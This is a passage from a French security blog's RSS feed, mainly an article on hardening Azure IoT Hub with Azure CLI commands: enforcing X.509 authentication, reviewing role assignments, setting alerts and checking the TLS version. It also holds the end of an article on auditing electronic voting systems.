<p style="text-align: justify;">Cet exercice ne peut être mené de façon efficace et porter ses fruits qu’en <strong>embarquant</strong> et en <strong>sensibilisant toutes les parties prenantes</strong> du projet, y compris l’éditeur et les organisations syndicales dès la phase de conception.</p>
<p style="text-align: justify;">Il est enfin nécessaire de garder en tête que le vote électronique est une <strong>technologie en évolution</strong> constante. Il est probable que de nouvelles méthodes et technologies émergeront à l&rsquo;avenir, entraînant une <strong>évolution de la réglementation</strong>. La <strong>veille technique et réglementaire</strong> est par conséquent un sujet essentiel tant pour les entités organisatrices d’élections que pour les éditeurs et les sociétés d’expertise indépendante.</p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"><em>Pour toute demande d’information ou de devis sur le sujet de l’expertise indépendante de systèmes de vote électronique, nous vous invitons à nous contacter via le formulaire suivant : </em><a href="https://www.wavestone.com/fr/contact/"><em>https://www.wavestone.com/fr/contact/</em></a></p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"><strong>Tous nos vœux de succès pour l’organisation de vos élections professionnelles !</strong></p>
<p style="text-align: justify;"><a href="#_ednref1" name="_edn1">[i]</a> <a href="https://www.legifrance.gouv.fr/jorf/id/JORFTEXT000000511691/">https://www.legifrance.gouv.fr/jorf/id/JORFTEXT000000511691/</a></p>
<p style="text-align: justify;"><a href="#_ednref2" name="_edn2">[ii]</a> <a href="https://www.economie.gouv.fr/elections-professionnelles-2022-quelques-minutes-pour-quatre-annees">https://www.economie.gouv.fr/elections-professionnelles-2022-quelques-minutes-pour-quatre-annees</a></p>
<p style="text-align: justify;"><a href="#_ednref3" name="_edn3">[iii]</a> <a href="https://fr.wikipedia.org/wiki/Comit%C3%A9_social_et_%C3%A9conomique">https://fr.wikipedia.org/wiki/Comit%C3%A9_social_et_%C3%A9conomique</a></p>
<p style="text-align: justify;"><a href="#_ednref4" name="_edn4">[iv]</a> <a href="https://www.kercia.com/vote-electronique">https://www.kercia.com/vote-electronique</a></p>
<p style="text-align: justify;"><a href="#_ednref5" name="_edn5">[v]</a> <a href="https://www.admin.ch/gov/fr/accueil/documentation/communiques.msg-id-37639.html">https://www.admin.ch/gov/fr/accueil/documentation/communiques.msg-id-37639.html</a></p>
<p style="text-align: justify;"><a href="#_ednref6" name="_edn6">[vi]</a> <a href="https://www.smartmatic.com/fr/actualites/article/lestonie-atteint-des-taux-records-de-vote-par-internet-grace-a-une-nouvelle-technologie/">https://www.smartmatic.com/fr/actualites/article/lestonie-atteint-des-taux-records-de-vote-par-internet-grace-a-une-nouvelle-technologie/</a></p>
<p style="text-align: justify;"><a href="#_ednref7" name="_edn7">[vii]</a> <a href="https://www.legifrance.gouv.fr/jorf/id/JORFTEXT000038661239">https://www.legifrance.gouv.fr/jorf/id/JORFTEXT000038661239</a></p>
<p style="text-align: justify;"><a href="#_ednref8" name="_edn8">[viii]</a> <a href="https://www.cnil.fr/fr/securite-des-systemes-de-vote-par-internet-la-cnil-actualise-sa-recommandation-de-2010">https://www.cnil.fr/fr/securite-des-systemes-de-vote-par-internet-la-cnil-actualise-sa-recommandation-de-2010</a></p>
<p style="text-align: justify;"><a href="#_ednref9" name="_edn9">[ix]</a> <a href="https://www.legifrance.gouv.fr/loda/id/JORFTEXT000024079803/">https://www.legifrance.gouv.fr/loda/id/JORFTEXT000024079803/</a></p>
<p style="text-align: justify;"><a href="#_ednref10" name="_edn10">[x]</a> <a href="https://www.ssi.gouv.fr/entreprise/reglementation/confiance-numerique/le-referentiel-general-de-securite-rgs/">https://www.ssi.gouv.fr/entreprise/reglementation/confiance-numerique/le-referentiel-general-de-securite-rgs/</a></p>
<p style="text-align: justify;"><a href="#_ednref11" name="_edn11">[xi]</a> <a href="https://www.ssi.gouv.fr/guide/recommandations-pour-les-architectures-des-systemes-dinformation-sensibles-ou-diffusion-restreinte/">https://www.ssi.gouv.fr/guide/recommandations-pour-les-architectures-des-systemes-dinformation-sensibles-ou-diffusion-restreinte/</a></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2023/05/expertise-independante-de-systemes-de-vote-electronique/">Expertise indépendante de systèmes de vote électronique</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2023/05/expertise-independante-de-systemes-de-vote-electronique/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Améliorer la sécurité de son infrastructure IoT : conseils de configuration et bonnes pratiques sur Azure IoT</title>
		<link>https://www.riskinsight-wavestone.com/2023/04/ameliorer-la-securite-de-son-infrastructure-iot-conseils-de-configuration-et-bonnes-pratiques-sur-azure-iot/</link>
					<comments>https://www.riskinsight-wavestone.com/2023/04/ameliorer-la-securite-de-son-infrastructure-iot-conseils-de-configuration-et-bonnes-pratiques-sur-azure-iot/#respond</comments>
		
		<dc:creator><![CDATA[Arnaud Soullié]]></dc:creator>
		<pubDate>Fri, 07 Apr 2023 13:00:00 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[IoT & smart products]]></category>
		<category><![CDATA[Azure]]></category>
		<category><![CDATA[IoT]]></category>
		<category><![CDATA[RBAC]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=20199</guid>

					<description><![CDATA[<p>Les plateformes IoT permettent de connecter, de gérer et de surveiller des flottes d’appareils. Les 3 leaders du Cloud, GCP, AWS et Azure ont chacun leur offre, dans un secteur particulièrement fragmenté, qui voit de nombreux acteurs en concurrence. Azure,...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2023/04/ameliorer-la-securite-de-son-infrastructure-iot-conseils-de-configuration-et-bonnes-pratiques-sur-azure-iot/">Améliorer la sécurité de son infrastructure IoT : conseils de configuration et bonnes pratiques sur Azure IoT</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p style="text-align: justify;">Les plateformes IoT permettent de connecter, de gérer et de surveiller des flottes d’appareils. Les 3 leaders du Cloud, GCP, AWS et Azure ont chacun leur offre, dans un secteur particulièrement fragmenté, qui voit de nombreux acteurs en concurrence.</p>
<p style="text-align: justify;">Azure, ces dernières années, s’impose de plus en plus dans ce secteur, comme a pu le souligner le Gartner, qui les classe dans les<strong> leaders visionnaires</strong> des plateformes IIoT [1] en raison de ses capacités, et de sa couverture quasiment complète de tous les cas d’utilisation et secteurs d’activité.</p>
<p style="text-align: justify;">L’IoT, par nature souvent largement exposé, voire sur Internet, <strong>peut-être la cible d’attaques</strong>.</p>
<p style="text-align: justify;">Avant de passer à des <strong>recommandations</strong> spécifiques pour protéger vos dispositifs IoT et vos données, examinons comment les différents services d&rsquo;Azure IoT peuvent être utilisés ensemble pour <strong>créer des solutions IoT sécurisées</strong>.</p>
<h1 style="text-align: justify;">Présentation de l’offre Azure IoT</h1>
<p style="text-align: justify;">Microsoft Azure IoT est une <strong>plateforme de bout en bout</strong> pour la connectivité, l’analyse et la visualisation de données provenant d’appareils IoT. Elle offre également une <strong>interconnexion avec les autres services standards d’Azure</strong> comme <em>Azure Machine Learning </em>ou encore <em>Azure SQL Database. </em></p>
<p style="text-align: justify;">Azure IoT propose <strong>deux écosystèmes de solutions</strong> à ses clients :</p>
<ul style="text-align: justify;">
<li><em>Azure IoT Central</em> est une <strong>aPaaS</strong>, <em>application Platform as a Service</em>, <strong>entièrement managée</strong> qui <strong>simplifie la création de solutions IoT</strong>. Ce service est responsable de connecter, gérer et exploiter des flottes d’appareils, et fournit à une interface utilisateur de gestion. <em>Azure IoT Central</em> est en réalité <strong>un agrégat de différents services Azure IoT </strong>comme <em>Azure</em> <em>IoT Hub</em> ou encore <em>Azure</em> <em>IoT Hub Device Provisioning Service (DPS)</em>.</li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20200 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image1.png" alt="" width="836" height="543" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image1.png 836w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image1-294x191.png 294w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image1-60x39.png 60w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image1-768x499.png 768w" sizes="auto, (max-width: 836px) 100vw, 836px" /></p>
<p style="text-align: justify;"><em>Azure IoT Central </em><strong>propose des modèles d’application</strong> selon plusieurs domaines d’activité : Retail, Santé, Energie, Industrie, etc., et vise une mise en œuvre « clés en main ».  </p>
<ul style="text-align: justify;">
<li>Un <strong>écosystème personnalisé</strong> grâce aux différents services PaaS, <em>Platform as a Service</em>, d’Azure. Dans cet écosytème, deux services ; <em>Azure IoT Hub</em> et <em>Azure Digital Twins </em>sont les <strong>fondations d’une solution IoT</strong>. Nous les avons également combinés à <em>Azure Device Provisionning </em>et <em>Azure Device Update</em> pour une couverture des besoins cybersécurité optimale.</li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20202 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image2.png" alt="" width="830" height="519" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image2.png 830w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image2-305x191.png 305w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image2-62x39.png 62w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image2-768x480.png 768w" sizes="auto, (max-width: 830px) 100vw, 830px" /></p>
<p style="text-align: justify;">Ces deux écosystèmes permettent à Azure de <strong>répondre à tous types de besoins IoT et IIoT</strong> :</p>
<ul style="text-align: justify;">
<li><em>Azure</em> <em>IoT Central </em>est un très bon service si vous souhaitez développer rapidement une <strong>application peu complexe</strong> grâce à son catalogue de modèle d’application.</li>
<li>Si vous souhaitez une <strong>solution personnalisée</strong>, ou avec des fonctionnalités non supportées par <em>Azure</em> <em>IoT Central</em> : optez pour un écosystème fondé sur <em>Azure IoT Hub</em>.</li>
</ul>
<p style="text-align: justify;">Maintenant que nous avons une bonne compréhension des écosystèmes d&rsquo;Azure IoT, il est important de se concentrer sur la <strong>sécurisation de ces écosystèmes</strong>. Comment protéger efficacement des dispositifs IoT et des données lors de l&rsquo;utilisation des services Azure IoT ? C&rsquo;est ce que nous allons étudier dans les prochaines parties.</p>
<p> </p>
<h1 style="text-align: justify;">Préambule : l’outil Azure CLI</h1>
<p style="text-align: justify;">Afin de gérer des ressources Azure, Microsoft met à disposition plusieurs outils, la plupart étant utilisables en CLI (<em>Command Line Interface</em>, ou en lignes de commandes). L’outil proposant le plus de fonctionnalités pour la gestion étant<strong> Azure CLI</strong>.</p>
<p style="text-align: justify;">Cet outil, disponible pour les systèmes d’exploitation de type <strong>Windows</strong> et <strong>UNIX</strong>, permet notamment à un utilisateur membre d’un environnement Azure de <strong>gérer et d’obtenir des informations concernant des ressources Azure</strong>. Il est à noter que <strong>l’éventail des possibilités de cet outil varie en fonction des droits</strong> que possède l’utilisateur sur les ressources en question.</p>
<p style="text-align: justify;">Pour l’installer, Microsoft met à disposition <a href="https://learn.microsoft.com/fr-fr/cli/azure/install-azure-cli">une page dédiée</a> expliquant les étapes pour tout type d’environnement.</p>
<p style="text-align: justify;">Afin de l’utiliser, il suffit de <strong>se connecter</strong> à un compte utilisateur Azure via l’interface de commande choisie (<strong>Powershell</strong> ou <strong>Bash</strong>), puis d’<strong>entrer les commandes</strong> voulues. Lorsque l’utilisation de cet outil est terminée, <strong>une déconnexion</strong> du compte est recommandée.</p>
<p style="text-align: justify;"><strong>Une utilisation classique</strong> de cet outil est présentée ci-dessous :</p>
<table style="border-collapse: collapse; width: 100%;">
<tbody>
<tr>
<td style="width: 100%; background-color: #002060; border-color: #002060; border-style: solid;">
<p><span style="color: #ffffff;"><span style="color: #ffff00;">az</span> login [<span style="color: #808080;">-u</span> Nom d’utilisateur] [<span style="color: #808080;">&#8211;use-device</span>]</span></p>
<p><span style="color: #ffffff;">[Commandes Azure CLI] [Exemple : ]</span><br /><span style="color: #ffffff;"><span style="color: #ffff00;">az</span> resource list</span></p>
<p><span style="color: #ffffff;"><span style="color: #ffff00;">az</span> logout</span></p>
</td>
</tr>
</tbody>
</table>
<p style="text-align: justify;">La documentation de cet outil, présentant et expliquant l’ensemble des commandes possibles, est disponible à <a href="https://learn.microsoft.com/fr-fr/cli/azure/reference-index?view=azure-cli-latest">cette adresse</a>.</p>
<p style="text-align: justify;">Cet outil sera utilisé par la suite lors d’exemple de manipulations techniques.</p>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">1<sup>er</sup> vecteur de sécurisation : authentification des objets</h1>
<p style="text-align: justify;">L’authentification des appareils est cruciale pour une infrastructure Azure car elle permet de garantir que <strong>seuls les dispositifs autorisés puissent accéder aux ressources</strong> Cloud. Les services Azure IoT supporte <strong>deux principaux moyens d’authentification</strong> pour les dispositifs IoT :</p>
<ul style="text-align: justify;">
<li>Un <strong>Jeton SAS</strong> (<em>Shared Access Signature</em>, ou <strong>SAS Token</strong> en anglais) est une <strong>chaine de caractères</strong> permettant d’authentifier des appareils, ainsi que des services. Un jeton SAP à la structure suivante :</li>
</ul>
<p style="text-align: justify;"><em> <img loading="lazy" decoding="async" class="aligncenter wp-image-20204 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image3.png" alt="" width="768" height="164" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image3.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image3-437x93.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image3-71x15.png 71w" sizes="auto, (max-width: 768px) 100vw, 768px" /></em></p>
<p style="text-align: justify;">Ce type d’authentification a une <strong>durée de validité</strong> définie et des <strong>permissions</strong>, qui lui sont attribué à partir d’une <em>stratégie d’accès,</em> sur un <strong>périmètre donné</strong>. La <strong><em>signature</em></strong><em>, </em>quant à elle, est un élément crucial car elle est<strong> responsable de garantir la sécurité des communications</strong> entre l’objet et les services Azure, mais également de prouver l’identité du dispositif. Cette signature est générée à partir d’un secret qui doit être <strong>propre à chaque appareil</strong>.</p>
<ul style="text-align: justify;">
<li>Un <strong>certificat X.509</strong> [2] est un certificat numérique permettant une <strong>authentification forte</strong> de l’objet. Il contient des informations sur l’<strong>entité émettrice</strong> du certificat, la durée de validité du certificat mais également l’<strong>identité du <em>sujet</em></strong> (par exemple : l’objet). L’une des forces des certificats est la capacité à pouvoir créer des chaines de certificats, et ainsi <strong>créer des relations de confiance</strong>:</li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20206 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image4.png" alt="" width="844" height="426" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image4.png 844w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image4-378x191.png 378w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image4-71x36.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image4-768x388.png 768w" sizes="auto, (max-width: 844px) 100vw, 844px" /></p>
<p style="text-align: justify;">En termes de sécurité, les certificats X.509 offrent un <strong>niveau de sécurité plus élevé</strong>, en supposant un algorithme cryptographique à l’état de l’art, car ils permettent de <strong>représenter des relations de confiance</strong>. Cependant, la gestion et l’utilisation des certificats peut impliquer une <strong>complexité supplémentaire</strong> pour un projet IoT.</p>
<p style="text-align: justify;">Afin de forcer l’utilisation des certificats X.509 pour authentifier des objets connectés, il est possible <strong>d’interdire les jetons SAS pour un IoT Hub</strong>. En effet, les IoT Hubs d’Azure <strong>possèdent</strong> <strong>trois propriétés liées à l’utilisation ou non des jetons SAS</strong> :  <em>disableLocalAuth</em>, <em>disableDeviceSAS</em> et <em>disableModuleSAS</em>. Par conséquent, la bonne pratique associée à l’interdiction des jetons SAS passe par <strong>l’attribution de ces trois paramètres à </strong><em>True</em>. Cette manipulation peut être réalisée à l’aide de l’outil <strong>Azure CLI</strong> :</p>
<table style="border-collapse: collapse; width: 100%;">
<tbody>
<tr>
<td style="width: 836px; background-color: #002060; border-color: #002060; border-style: solid;">
<p><span style="color: #ffffff;"><span style="color: #ffff00;">az <span style="color: #ffffff;">resource update <span style="color: #808080;">&#8211;resource-group</span> &lt;Resource_Group&gt; <span style="color: #808080;">-n</span> &lt;IoT_Hub&gt;<span style="color: #808080;"> &#8211;resource-type</span> Microsoft.Devices/IotHubs <span style="color: #808080;">&#8211;set</span> properties.disableDeviceSAS=true properties.disableModuleSAS=true properties.disableLocalAuth=true</span></span></span></p>
</td>
</tr>
</tbody>
</table>
<p style="text-align: justify;">La vérification des valeurs de ces mêmes paramètres peut également être réalisée à l’aide d’<strong>Azure CLI</strong> :</p>
<table style="border-collapse: collapse; width: 100%;">
<tbody>
<tr>
<td style="width: 836px; background-color: #002060; border-color: #002060; border-style: solid;">
<p><span style="color: #ffffff;"><span style="color: #ffff00;"><span style="color: #ffffff;"><span style="color: #ffff00;">az</span> resource show <span style="color: #808080;">&#8212;resource-group</span> &lt;Resource_Group&gt; <span style="color: #808080;">-n</span> &lt;IoT_Hub&gt; <span style="color: #808080;">&#8211;resource-type</span> Microsoft.Devices/IotHubs | <span style="color: #ffff00;">Select-String</span> <span style="color: #33cccc;">« (disableLocalAuth|disableDeviceSAS|disableModuleSAS) »</span></span></span></span></p>
</td>
</tr>
</tbody>
</table>
<p style="text-align: justify;">Dans l’exemple de réponse ci-dessous, la propriété <em>disableDeviceSAS</em> a été correctement paramétrée, ce qui n’est pas le cas des deux autres.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20217 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image9.png" alt="" width="907" height="127" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image9.png 907w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image9-437x61.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image9-71x10.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image9-768x108.png 768w" sizes="auto, (max-width: 907px) 100vw, 907px" /></p>
<p style="text-align: justify;">Le <strong>portail d’Azure</strong> permet également d’effectuer cette vérification :</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20208 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image5.png" alt="" width="580" height="317" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image5.png 580w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image5-349x191.png 349w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image5-71x39.png 71w" sizes="auto, (max-width: 580px) 100vw, 580px" /></p>
<p style="text-align: justify;">Le choix du moyen d&rsquo;authentification pour Azure IoT <strong>dépendra des exigences de sécurité</strong> de votre solution. Si vous avez besoin d&rsquo;une <strong>sécurité élevée</strong> et que vous avez une infrastructure pour gérer les certificats, alors l’authentification par <strong>certificat X.509</strong> est une bonne option. Cependant, si vous recherchez une <strong>solution simple à gérer et à utiliser</strong>, le <strong>jeton SAS </strong>pourrait être plus adapté à vos besoins.</p>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">2<sup>ème</sup> vecteur de sécurisation : RBAC et alertes</h1>
<p style="text-align: justify;">L’assignement des rôles sur votre infrastructure Azure IoT doit être <strong>réfléchi et défini selon les besoins des utilisateurs</strong>. Une définition de rôles et de permissions précise permet de <strong>limiter l’accès aux ressources</strong> et aux divers fonctionnalités disponibles sur la plateforme. Les différents services Azure IoT fournissent une <strong>multitude de rôles préconfigurés</strong> qui peuvent être adaptés à vos besoins et à votre organisation. Ensuite, <strong>appliquer le principe du moindre privilège</strong>, et limiter le nombre de comptes disposant de privilèges importants, permet d’<strong>améliorer le niveau de sécurité</strong> de votre infrastructure Azure IoT.</p>
<p style="text-align: justify;"><strong>Azure CLI</strong> permet notamment de <strong>lister les utilisateurs possédant des droits sur la ressource Azure IoT souhaitée</strong>, ainsi que leurs rôles associés. La commande suivante permet de réaliser cette action :</p>
<table style="border-collapse: collapse; width: 100%; height: 129px;">
<tbody>
<tr style="height: 129px;">
<td style="width: 100%; background-color: #002060; border-color: #002060; border-style: solid; height: 129px;">
<p><span style="color: #ffffff;"><span style="color: #ffff00;"><span style="color: #33cccc;"><span style="color: #ffff00;">az</span> <span style="color: #ffffff;">role assignment list</span> <span style="color: #808080;">&#8211;scope</span> « /subscriptions/&lt;ID_de_souscription&gt;/resourceGroups/&lt;Resource_Group&gt;/providers/Microsoft.Devices/IotHubs/&lt;IoT_Hub&gt; » <span style="color: #808080;">&#8211;include-inherited</span></span></span></span></p>
</td>
</tr>
</tbody>
</table>
<p style="text-align: justify;">Il est possible d’utiliser des sélecteurs de chaînes de caractères (<em>Select-String</em> pour <strong>Powershell</strong>, <em>grep</em> pour <strong>Bash</strong>) afin de ne récupérer que les informations souhaitées.</p>
<p style="text-align: justify;">Dans l’exemple ci-dessous, les <strong>noms</strong>, <strong>types</strong> et <strong>rôles</strong> ont été les seuls éléments récupérés à l’aide de <em>Select-String </em>:</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20220 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image10.png" alt="" width="852" height="802" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image10.png 852w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image10-203x191.png 203w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image10-41x39.png 41w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image10-768x723.png 768w" sizes="auto, (max-width: 852px) 100vw, 852px" /></p>
<p style="text-align: justify;">La fonction des rôles intégrés Azure est disponible à <a href="https://learn.microsoft.com/fr-fr/azure/role-based-access-control/built-in-roles">cette page</a>.</p>
<p style="text-align: justify;">De plus, la configuration d’<strong>alertes basées sur les métriques</strong> de vos services Azure IoT est un autre outil à prendre en compte. Des alertes peuvent être configurées pour détecter des comportements suspects ou des anomalies, et ainsi <strong>permettre une investigation rapide</strong> sur votre infrastructure. Azure met à la disposition de ses clients une large collection de <em>signaux </em>permettant de définir des conditions d’alertes. Il est également possible de <strong>définir des signaux d’alertes customisés</strong> via le langage de requête utilisé par <em>Azure Log Analytics</em>.</p>
<p style="text-align: justify;">Le <strong>Portail Azure</strong> est le moyen le plus facile pour mettre en place des alertes basées sur les données collectées par le IoT Hub. Par exemple, pour définir une règle d’alerte de journal, il faut :</p>
<ol style="text-align: justify;">
<li>Aller sur la page de management du IoT Hub souhaité ;</li>
<li>Aller dans la sous-catégorie <em>Logs</em> de la catégorie <em>Monitoring</em>;</li>
<li>Choisir une règle en utilisant le langage de <em>Azure Log Analytics </em>;</li>
<li>Ajouter une règle d’alerte liée à cette requête ;</li>
<li>Choisir l’opérateur, l’unité, la valeur seuil, la récurrence de vérification et la période concernée par la règle.</li>
</ol>
<p style="text-align: justify;">Ces actions sont résumées par les captures d’écran ci-dessous :</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20210 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image6.png" alt="" width="909" height="244" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image6.png 909w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image6-437x117.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image6-71x19.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image6-768x206.png 768w" sizes="auto, (max-width: 909px) 100vw, 909px" /></p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20212 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image7.png" alt="" width="824" height="603" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image7.png 824w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image7-261x191.png 261w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image7-53x39.png 53w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image7-768x562.png 768w" sizes="auto, (max-width: 824px) 100vw, 824px" /></p>
<p style="text-align: justify;">Il suffira ensuite de choisir un <strong>groupe d’action</strong> lié à un type d’action (envoi de mail, de SMS, etc.).</p>
<p style="text-align: justify;">L’exemple donné entrainera une action si le nombre de connexions échouées d’objets connectés à l’IoT Hub concerné dépasse les 10 échecs en 10 minutes ou moins.</p>
<p style="text-align: justify;">En complément, <a href="https://learn.microsoft.com/fr-fr/azure/azure-monitor/alerts/tutorial-log-alert">un guide détaillé</a> prenant la forme d’un tutoriel est disponible sur la documentation Azure. Il est à noter que ce service est payant en supplément.</p>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">3<sup>ème</sup> vecteur de sécurisation : le service en lui même</h1>
<p style="text-align: justify;">Enfin, la<strong> mise en place d’une configuration adéquate</strong> des services Azure IoT est un autre élément clé pour améliorer le niveau de maturité cyber de la plateforme. Cela inclut des options telles que par exemple les <strong>règles de routage</strong> ou encore paramétrer la version minimum de TLS utilisé par les appareils pour se connecter sur <em>Azure IoT Hub</em>.</p>
<p style="text-align: justify;">Les <strong>règles de routage</strong> sont utilisées pour <strong>rediriger les messages</strong> des appareils IoT vers un <em>point de terminaison</em> (stockage, services, base de données, etc.) et sont paramétrables par des <em>requêtes de routage</em>. Il est recommandé de <strong>filtrer les messages entrants</strong>, via les requêtes de routage, afin d’augmenter la sécurité de votre solution IoT.</p>
<p style="text-align: justify;">La <strong>vérification de la version minimale de TLS acceptée</strong> peut être faite à l’aide d’<strong>Azure CLI</strong> : en effet, un IoT Hub possède l’attribut <em>minTlsVersion</em> permettant de contrôler cette propriété. Cette vérification est réalisée à l’aide de la commande suivante :</p>
<table style="border-collapse: collapse; width: 100%;">
<tbody>
<tr>
<td style="width: 100%; background-color: #002060; border-color: #002060; border-style: solid;">
<p><span style="color: #ffffff;"><span style="color: #ffff00;">az <span style="color: #ffffff;">resource show <span style="color: #808080;">&#8212;resource-group</span> &lt;Resource_Group&gt; <span style="color: #808080;">-n</span> &lt;IoT_Hub&gt; <span style="color: #808080;">&#8211;resource-type</span> Microsoft.Devices/IotHubs | <span style="color: #ffff00;">Select-String</span> <span style="color: #33cccc;">« minTlsVersion »</span></span></span></span></p>
</td>
</tr>
</tbody>
</table>
<p style="text-align: justify;">Si cette commande <strong>ne retourne rien</strong>, ou retourne <strong>une valeur inférieure à 1.2</strong>, alors la configuration <strong>n’est pas satisfaisante</strong>.</p>
<p style="text-align: justify;">Le <strong>portail d’Azure</strong> permet également d’effectuer cette vérification :</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20214 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image8.png" alt="" width="668" height="315" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image8.png 668w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image8-405x191.png 405w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/04/Image8-71x33.png 71w" sizes="auto, (max-width: 668px) 100vw, 668px" /></p>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">En synthèse</h1>
<p style="text-align: justify;"><strong>La sécurité est un enjeu majeur pour les projets IoT</strong> : Microsoft, avec son produit Azure IoT, fournit une plateforme IoT répondant à une majorité des besoins IoT, et ce de manière sécurisée, sous couvert d’en faire la bonne configuration. Au cours de cette article, nous avons abordé<strong> des recommandations permettant d’améliorer le niveau de sécurité</strong> de votre infrastructure Azure IoT.</p>
<p style="text-align: justify;">Il est important de garder en tête que <strong>d’autres vecteurs d’attaques existent</strong>, tels que les vulnérabilités matérielles et logicielles ainsi que les réseaux utilisés par les dispositifs IoT.  En somme, la sécurité d’une infrastructure IoT est un <strong>défi complexe qui nécessite une approche de bout en bout</strong><strong>.</strong></p>
<p style="text-align: justify;"><strong> </strong></p>
<p style="text-align: justify;"> </p>
<p style="text-align: center;"><em>Avec la participation de Marius ANDRE</em></p>
<p style="text-align: justify;">[1] “Magic Quadrant for Global Industrial IoT Platforms”</p>
<p style="text-align: justify;"><a href="https://www.gartner.com/doc/reprints?id=1-2BQFX3BJ&amp;ct=221116&amp;st=sb">https://www.gartner.com/doc/reprints?id=1-2BQFX3BJ&amp;ct=221116&amp;st=sb</a></p>
<p style="text-align: justify;">[2] “Internet X.509 Public Key Infrastructure Certificate and Certificate Revocation List (CRL) Profile”</p>
<p style="text-align: justify;"><a href="https://www.rfc-editor.org/rfc/rfc5280">https://www.rfc-editor.org/rfc/rfc5280</a></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2023/04/ameliorer-la-securite-de-son-infrastructure-iot-conseils-de-configuration-et-bonnes-pratiques-sur-azure-iot/">Améliorer la sécurité de son infrastructure IoT : conseils de configuration et bonnes pratiques sur Azure IoT</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2023/04/ameliorer-la-securite-de-son-infrastructure-iot-conseils-de-configuration-et-bonnes-pratiques-sur-azure-iot/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Les attaques par consentement illicite ciblant Azure et Office 365 : une menace toujours d’actualité ?</title>
		<link>https://www.riskinsight-wavestone.com/2023/03/les-attaques-par-consentement-illicite-ciblant-azure-et-office-365-une-menace-toujours-dactualite/</link>
